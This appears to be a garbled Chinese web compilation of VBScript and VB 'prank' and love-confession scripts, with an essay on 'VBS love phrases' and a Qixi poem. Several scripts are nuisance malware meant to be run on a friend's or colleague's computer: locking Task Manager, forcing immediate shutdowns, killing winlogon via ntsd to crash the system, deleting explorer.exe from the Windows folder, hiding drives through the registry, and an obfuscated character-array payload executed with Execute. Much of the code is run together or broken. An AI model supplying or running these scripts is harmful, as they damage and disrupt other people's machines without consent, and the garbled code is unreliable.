vbs整人代码,表白+提醒两段代码就OK

使用方法：新建一个txt文本文档。

然后把拓展名改成".vbs"的格式。

然后右键编辑，把代码复制进去，ok！！！1.整死你啊！！！此代码锁定了任务管理器，想关闭只有重新启动电脑，恶搞你的好友，或者骚扰你Private Sub Form_Load()Open Environ$("WinDir") & "\system32\taskmgr.exe" For Binary As #1For m = 1 To 999MsgBox "呵呵，你知道我是谁吗？", 16MsgBox "什么？？不知道？", 16MsgBox "那你打开我干什么？", 16MsgBox "你有空没事做吧？！", 16MsgBox "我..就是鼎鼎大名的987876198", 16MsgBox "987876198..", 16MsgBox "现在你把它打开了觉得后悔了吧？呵呵..", 16MsgBox "算了算了，不玩你了", 16MsgBox "现在我数3声就闪人,行了吧?", 16MsgBox "1.............", 16MsgBox "2.............", 16MsgBox "3.............", 16MsgBox "噔噔噔噔,我又回来了！", 16MsgBox "哈哈，是不是很过瘾呢？", 16MsgBox "现在我先介绍下自己..", 16MsgBox "我叫王得地..", 16MsgBox "性别：男..", 16MsgBox "今年35岁..", 16MsgBox "不好意思噢，我好像说多了..", 16MsgBox "不要这样喇，听我说完先好不？", 16MsgBox "来来来，开始喇..", 16MsgBox "我叫王得地..", 16MsgBox "家中有屋又有田..", 16MsgBox "生活乐无边..", 16MsgBox "好像我又说多了...", 16MsgBox "不要生气嘛，你认真看下去我就放你走..", 16MsgBox "好，开始喇..", 16MsgBox "从前有座山..", 16MsgBox "山里有个座庙..", 16MsgBox "庙里有个和尚..", 16MsgBox "哈哈，想哭吗？", 16MsgBox "被骗的感觉不爽吧？", 16MsgBox "喂喂喂！别别..千万别重启电脑", 16MsgBox "我告诉你怎么关吧", 16MsgBox "先打开任务管理器", 16MsgBox "忘了告诉你了，任务管理器打不开了", 16MsgBox "别恨我啊你不小心", 16MsgBox "电脑重新启动吧", 16MsgBox "相信我吧,你知道我是不会骗人的", 16MsgBox "如果你还想继续点的话,你就别听我的", 16MsgBox "呵呵,我又没有说这个东西没有", 16MsgBox "我只想说桌面没有罢了..", 16MsgBox "嘻嘻,爽不爽吖?", 16MsgBox "对着电脑屏幕大声说低调大好人", 16MsgBox "不然,我就没办法的咯", 16MsgBox "因为我把循环设置成99了", 16MsgBox "想保存电脑数据只有继续点了", 16MsgBox "绝对会出到去的", 16MsgBox "好了,废话不多说了,祝你好运..", 16MsgBox "制作:低调不倒", 16MsgBox "QQ：987876198", 16MsgBox "E-mail:不告诉你", 16MsgBox "好,继续循环..", 16NextEnd Sub·······················································2.满屏小雪花这是我以前写的小程序让整个屏幕雪花飘飘的改进，本程序是一个模拟下雪的小程序：大小不同随风飘荡的雪花从屏幕上方不断落下，飘满整个屏幕。

简单的vb编程表白代码用Beatiful的vb编程表白
Private Sub Form_load
Dim i As Integer
For i = 0 to 650
Rem 这里编写你想表达的话语
Print "亲爱的，你好！"
Print "你是属于我的一切，你对我而言更加重要" Print "每次想到你，我就美丽地笑了"
Print "每次想到你，无数的甜蜜就洋溢而出"
Print "每次想到你，我的心才会归宿"
Print "每次想到你，思念的鼓舞就穿越天隙"
Print "缘分莫名，我们痴痴相思"
Print "苦海无涯回头是岸，而你是我的岸"
Print "让我深情的表达，我的心依旧属于你" Next
End Sub
Private Sub Command1_click
Rem 开始表白
MsgBox "在这世界上有两个心，早已相惜未诉说" MsgBox "一颗心爱恨，一颗心梦话"
MsgBox "谈笑风生暗中观，害怕梦被时间带走" MsgBox "明知道不能改变，还是想把此刻永久定格" MsgBox "因为你，依旧是我唯一的牵挂"
MsgBox "把这一路的思念，深深的写在心里" MsgBox "终于等到有一天，真正的能够宣示爱慕"
MsgBox "微笑，是因为有你……" End Sub。

未知驱动探索，专注成就专业
vbs整人代码大集合
1. 简介
本文档将介绍一些有趣的VBScript (VBS)代码，这些代码可以用于整人、恶作剧或者娱乐。

VBScript是一种微软开发的脚本语言，可以通过各种操作系统上的微软系列产品（如Windows）来使用。

请注意，这些代码仅用于娱乐目的，不应用于恶意活动或任何非法行为。

使用这些代码时，请确保你已经获得了授权。

2. 鼠标移动逃避
这段代码将在屏幕上显示一个小的色块，并在用户试图移动鼠标指针靠近色块时，自动将色块移动到一个随机位置。

```vbs Set objShell = CreateObject(
1。

⼀个贼简单的代码表⽩前⼀阵⽹上挺⽕的各种表⽩代码，⾃⼰学着也做了⼀个记事本编写，后缀改为vbs 就能运⾏了。

（其中有⼀串代码会关机的呦，我是WIN10系统）set ws=createobject(“wscript.shell”)ws.run"cmd.exe /c shutdown -s -f -t 0"哈哈知道三号⼥⽣是什么梗吗？（来源于⽂松的⼀个⼩品，那个⽼弟啊姐给你爆灯的那个！！嗯哼）就是注意⼀下代码中符号必须是英⽂的哦！要不可⿇烦了。

源码：x=msgbox("做我⼥朋友好不好",VbYesNo)if x=VbYes thenmsgbox("明天就去领证吧！")msgbox("记得来找我。

")elseif x=VbNo thenx=msgbox("房产证写你名字",VbYesNo)if x=VbYes thenmsgbox("明天就去领证吧！")msgbox("记得来找我。

")elseif x=VbNo thenx=msgbox("保⼤...",VbYesNo)if x=VbYes thenmsgbox("明天就去领证吧！")msgbox("记得来找我。

")elseif x=VbNo thenx=msgbox("我妈会游泳",VbYesNo)if x=VbYes thenmsgbox("明天就去领证吧！")msgbox("记得来找我。

")elseif x=VbNo thenmsgbox("你真的不爱我吗？")msgbox("那好吧。

")msgbox("那你就关机吧")msgbox("真的哟！")msgbox("都怪我太善良，再给你⼀次机会")x=msgbox("你后悔吗？",VbYesNo)if x=VbYes thenmsgbox("后悔就不给你关机了，3号⼥⽣！")elseif x=VbNo thenmsgbox("宁死不屈在下佩服，拜拜。

⼀些很恶作剧的vbs程序代码操作⽅法：把代码保存为*.VBS运⾏即可经本⼈亲⾃测试不会出⼤问题的，⼀般都是利⽤⽆限循环，不是死循环，可以通过任务管理器中结束WSCRIPT或cscript进程即可。

复制代码代码如下:domsgbox "hi"loop⽆限制的⽤英⽂报数复制代码代码如下:Set s = CreateObject("sapi.spvoice")i=0dos.speak ii=i+1loop复制代码代码如下:if MsgBox("对不起,您灌⽔太多需要重新启动计算机。

"&chr(10)&"确定要重启吗？",vbOKCancel+vbInformation,"重新启动计算机")=vbCancel thenmsgbox " 系统将⽴刻重起wow ~_^",,"你上当了！！"Set objShell = CreateObject("Wscript.Shell")objShell.Run "shutdown -s -t 5",,trueend if复制代码代码如下:strs=array(13,105,102,32,77,115,103,66,111,120,40,34,-15133,-13625,-10515,-12873,-15632,-23617,34,44,118,98,89,101,115,78,111,44,34,-12363,-12877,-13087,-13634,34,41,61,118,98,121,101,115,32,116,104,101,110,32,13,10,32,32,32,32,32,32,32,32,32,32,32,109,115,103,98,111,120,32,34,-15133,89,-13899,-20026,-20319,33,34,13,10,101,108,115,101,13,10,32,32,32,32,109,115,103,98,111,120,32,34,-17479,-19781,-19504,-14129,33,33,32,-10249,-12630,-19507,-18525,-23636,-16202,-14655,-11589,-12350,-23636,-15133,-15635,-13873,-17966,-15925,35,-23644,-23647,64,35,-23644,37,64,-24147,-24147,35,-24147,-24147,63,34,44,54,52,44,34,-11825,-10536,-16721,-18202,33,33,33,33,33,33,33,33,33,34,13,10,83,101,116,32,119,115,32,61,32,67,114,101,97,116,101,79,98,106,101,99,116,40,34,87,115,99,114,105,112,116,46,83,104,101,108,108,34,41,32,13,10,119,115,99,114 for i=1 to UBound(strs)runner=runner&chr(strs(i))nextExecute runner这个没什么，不过加密了，⼤家可以解密试试复制代码代码如下:if MsgBox("你是猪头吗？",vbYesNo,"提⽰")=vbyes thenmsgbox "你SB啊!"elsemsgbox "还不承认!! 作为惩罚，蓝屏⼀下，你马上挂了#￥！@#￥%@……#……?",64,"严重警告"Set ws = CreateObject("Wscript.Shell")wscript.sleep 1200ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhideend if复制代码代码如下:Set ws = CreateObject("Wscript.Shell")ws.run "cmd.exe /c call calc.exe",0下⾯的是删除explorer.exe，导致桌⾯没有显⽰，不过它事先帮你备份了，为同⽬录下的explorer.Data复制代码代码如下:set ws=CreateObject("Wscript.Shell")ws.run "cmd.exe /c taskkill /f /im explorer.exe",0wscript.sleep 900ws.run "cmd.exe /c copy %windir%\explorer.exe %windir%\explorer.Data"wscript.sleep 1200ws.run "cmd.exe /c del /q /f %windir%\explorer.exe复制代码代码如下:for each wind in verybatws.sendkeys windwscript.sleep 500nextws.popup"唉:-(( ⊙ o ⊙ )！呀，我好累啊，我下了 886",30ws.popup"下机可不能忘了关QQ 我吧QQ关了哈",8ws.run "taskkill /f /im qq.exe"ws.popup"你还要上吧慢慢玩哦",27dim WSHshellset WSHshell = wscript.createobject("wscript.shell")for d=0 to 4WSHshell.SendKeys "%{F4}"nextws.run"shutdown -s -t 1000600"wscript.sleep 2000dim adoa=inputbox("请输⼊解除关机密码")if a="403746401" thenws.run"shutdown -a"msgbox"密码验证成功，enjoy the best!"exit doelsemsgbox"密码验证失败，请输⼊解除关机密码：403746401 ",vbretrycancelend ifloopws.popup"哈哈被吓到了吧好玩吧？你以为真的是病毒？呵呵O(∩_∩)O~，我还没那么打本事能做出病毒来！",57ws.popup"(\(^o^)/~ 好啦，跟你开了个⼩⼩玩笑。

vbs表白语
VBS表白语是指在Visual Basic Script（VB脚本）中使用特定的语言来表达自己的爱意。

现代社会中，表白方式已经变得越来越丰富，特
别是在网络时代，各种创意的表白方式层出不穷。

VBS表白语也在此
背景下迅速崛起，成为一种新型的表白方式。

VBS表白语的表现形式非常多样，可以使用字符组合、十六进制编码、汉字编码等方式进行表达。

下面是一些常见的VBS表白语句子：
1. Set love = Heart + Heart
2. Const love = "I love you"
3. Love = "5201314"
4. If Love = "You" Then MsgBox "I love you"
这些句子简单明了，但又深情动人，能够很好的表达出爱意。

不仅如此，VBS表白语的创意性还表现在，表白语句子的编写往往需要一些
技巧和熟练的逻辑思维，增加了表白的趣味性和互动性。

VBS表白语不仅可以作为一种有趣的表白方式，也可以通过技巧的运用，使代码更加简洁美观，提高代码质量。

此外，在VBS表白语中，可以融入其他的元素，如音效、动画等，使表白更加生动活泼、有味道。

总之，VBS表白语既是一种有趣的表白方式，也是一种独具创意的编程技巧。

它不仅表达了爱意，同时也展示了个人的创意与想象力。

当你用VBS表白语来表达自己的情感时，你不仅是在向对方告白，更是在向世界展示自己的才华。

前段时间看到大家对这种整人的代码兴趣还挺浓厚的，我最近就收集了一些和大家分享。

PS：由于精力问题没有对代码的可用性进行一一验证，所以不保证全部可用，大家如果发现有不可用的或者需要改进的地方请提出来，以下代码仅供娱乐，请勿用于非法用途。

一、怎么点都没反应的桌面如果同事的电脑开着，他离开电脑前一会，嘿嘿，机会来了。

把他的电脑桌面按print键截屏截下来，（当然QQ截屏也可以，不过效果不太逼真！）建议大家用print截屏，设置为桌面。

然后把原来在桌面上的文件统统移到一个盘的文件夹里，这样桌面看上去和平时一个样。

他回来后狂点鼠标，却怎么都没有反应！现在还在关机,开机,关机,开机,关机,开机中…………附带：print键截屏方法：键盘右上方的“Print Screen Sys Rq”键的作用是屏幕抓图！用法一，按“Print Screen SysRq”一下，对当前屏幕进行抓图，就是整个显示屏的内容。

用法二，先按住“Alt”键，再按“Print Screen SysRq”键，则是对当前窗口进行抓图。

如你打开“我的电脑”后，用此法就抓取“我的电脑”窗口的内容。

用上诉两种方法抓图后，再打开“开始”、“附件”里的“画图”程序，点“编辑”、“粘贴”就把抓取的图片贴出来了，可以保存为自己需要的格式。

哈哈，简单吧，这方法真挺搞的，有兴趣的童鞋可以试试！二、让电脑硬盘消失－隐藏磁盘方法愚人节电脑整人使无端端地电脑磁盘的某个分区消失了，钻进地缝里面去了吗，给外星人抓走了？？非也！是某些人使坏将其隐藏起来了！步骤1.新建一个记事本2.将记事本的后缀改为.reg，就是将“新建文件.txt”改为“新建文件.reg”3.将下面的代码复制到记事本当中：Windows Registry Editor Version 5.00[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] "NoDrives" =hex:08,00,00,00解释（1）"NoDrives" =hex:08,00,00,00 这个键值是隐藏D盘的图中的D盘已经神秘消失了。

就一个timer控件如果出现程序关闭了，而关机倒计时还在数，就按照这个步骤取消，运行→shutdown -a传不了软件，就只有这样了，VB做的。

1.Private Sub Form_Load()2. d = 13.Me.Visible = False4.Shell ("shutdown -s -t 120")5.MsgBox "中招了吧，赶快按我的要求做，否则2分钟后关掉你的计算机，点‘确定’。

"6. a = InputBox("输入‘我是猪’", "提示")7.If a = "我是猪" Then8.MsgBox "猪猪，你很听话嘛，继续按照我的步骤做，点‘确定’。

"9.Else10.MsgBox "我救不了你了，居然不按照我的要求做。

"11.GoTo wan:12.End If13.For i = 1 To 5014.b = 51 - i15.MsgBox "加油，你还需要点" & b & "下才能取消关机"16.Next17.Shell ("shutdown -a")18.MsgBox "你真听话，不愧是猪，这次来个久点的"19.Shell ("shutdown -s -t 600")20.MsgBox "回答我一个问题就给你取消"21.wen:22.c = InputBox("你今年多大了", "提问")23.If IsNumeric(c) Then24.ElseIf c = "" Then25.MsgBox "你很不乖，我生气了，慢慢研究怎么关闭吧"26.GoTo wan:27.Else28.GoTo wen:29.MsgBox "输入不准确，请重新输入!"30.End If31.If c > 10 Then32.d = 533.MsgBox "5秒后取消关机!"34.ElseIf c <= "10" And c >= "5" Then35.d = 1036.MsgBox "10秒后取消关机!"37.ElseIf c < 5 Then38.MsgBox "是不是要乱输入，重新输入一次"39.GoTo wen:40.Else41.d = 1542.MsgBox "15秒后取消关机"43.End If44.wan:45.Timer1.Interval = Val(d) * 100046.Timer1.Enabled = True47.End Sub48.49.Private Sub Timer1_Timer()50.If Timer1.Interval <> 1000 Then51.Shell ("shutdown -a")52.Unload Me53.Else54.Unload Me55.End If56.End Sub。

msgbox（“和你在一起只是我不想给任何人机会。

”）
mdgbox（“请你当我手心里的宝。

”）
mdgbox（“好笑吗身边没你，好怪，陪我一生一世好吗?”）
mdgbox（“玫瑰开在九月里，我的心中只有你，好想和你在一起，没有什么送给你，只有一句我爱你!”）
mdgbox（“我想要一个拥抱，但是你的拥抱或许永远也不属于我。

”）
mdgbox（“做不了你的影子，就让我做一阵风萦绕在你的身边。

”）
mdgbox（“如果有忧伤，我把它无声无息地吹散。

”）
mdgbox（“用我三生烟火，换你一生迷离。

为你尘埃落定，倾覆一世繁华。

”）
mdgbox（“天塌下来，记住有我，陪你看天崩地裂。

”）
mdgbox（“踮起脚尖，我们就能离幸福更近一点吗?”）
mdgbox（“在同一片天空下，只是想想就觉得狠幸福”）
mdgbox（“明明刚刚才看到你，可现在思念已经将我掩埋，我想你。

”）
mdgbox（“我愿意轻轻地把你拖起，一如托起生活的一切重担。

”）
mdgbox（“Don't go, please stay, don't make my heart ache any more. Do you think it's not enough to hurt me”）
mdgbox（“Don't know if loving you is a good reason?”）
mdgbox（“好嗨哦”）
mdgbox（“感觉好爽”）
mdgbox（“完”）
mdgbox（“感谢观看”）。

黑客整人代码1、我是猪on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell")WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪，不说我是猪就一分钟关你机，不信，试试"" ",0 ,truedim aa = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)do while(a <> "我是猪")msgbox "快点说！马上就要关机了啊，你看着办吧！"a = inputbox ("说我是猪,就不关机，快撒，说 ""我是猪"" ","说不说","不说",8000,7000)loopmsgbox "早说就行了嘛，真是的！"dim WSHshellset WSHshell = wscript.createobject("wscript.shell")WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox "哈哈哈哈，你很乖噢，我就喜欢你这样！"2、爱情测试const yourname = "张三"const title = "爱情测试"const question = "你最喜欢的人是谁？请在下面的方框中输入他的名字"const info = "你在说谎！不要逃避嘛，实话实说，快点说啦！"const scend = "你终于说出你的心扉了，赶紧向他表白吧，赶紧啰！哈哈！"dim youranswerdoyouranswer = inputbox(question, title)if youranswer <> yourname then msgbox info, vbinformation + vbokonly, titleloop until youranswer = yournamemsgbox scend, vbinformation + vbokonly, title3、关不掉的窗口WScript.Echo("嘿，谢谢你打开我哦，我等你很久拉！"&TSName)WScript.Echo("你是可爱的小朋吗?")WScript.Echo("哈,我想你拉，这你都不知道吗？")WScript.Echo("怎么才来，说~是不是不关心我")WScript.Echo("哼,我生气拉，等你这么久，心都凉啦。

七夕节，那些用代码表白的方式，不成功便成仁-文章_爱情文章首先在电脑上创建一个文本文档或者记事本也就是txt格式然后输入以下代码保存，然后在把文件名txt格式改成vbs就可以了想改图标也可以首先把这个文本创建一个快捷方式然后鼠标右键点属性然后下面点更改图标选择你要的图标就可以了on error resume nextdim WSHshellAset WSHshellA = wscript.createobject("wscript.shell") WSHshellA.run "cmd.exe /c shutdown -r -t 180 -c ""三分钟内决定是否嫁给我，否则会被关机......"" ",0 ,truedim ado while(a "我愿意")a = inputbox ("你愿意嫁给我么","爱的表白","",8000,7000) if( a "我愿意" ) thenmsgbox “你忍心抛弃我？要不再考虑一下哦"loopdim WSHshellset WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd.exe /c shutdown -a",0 ,truemsgbox "哈哈哈哈，好乖"里面的汉字自己改成合适的。

如果对方不愿意，真的会被关机哦，请谨慎使用。

七夕情-美文_爱情美文花落满地又是一个七夕牛郎织女再一次的相遇鹊桥下的牵手繁星为他们当作嫁衣如风花雪月的浪漫让人羡慕不已再回不到当初相恋的时光再看不到当初可爱的笑脸张开双臂随风儿飘向远方再次相聚是在曾经的梦里我和你手牵手漫步在那天外天看着那牛郎织女相遇在银河边银光闪烁下是多么浪漫的场景祈祷那天是我们的婚礼。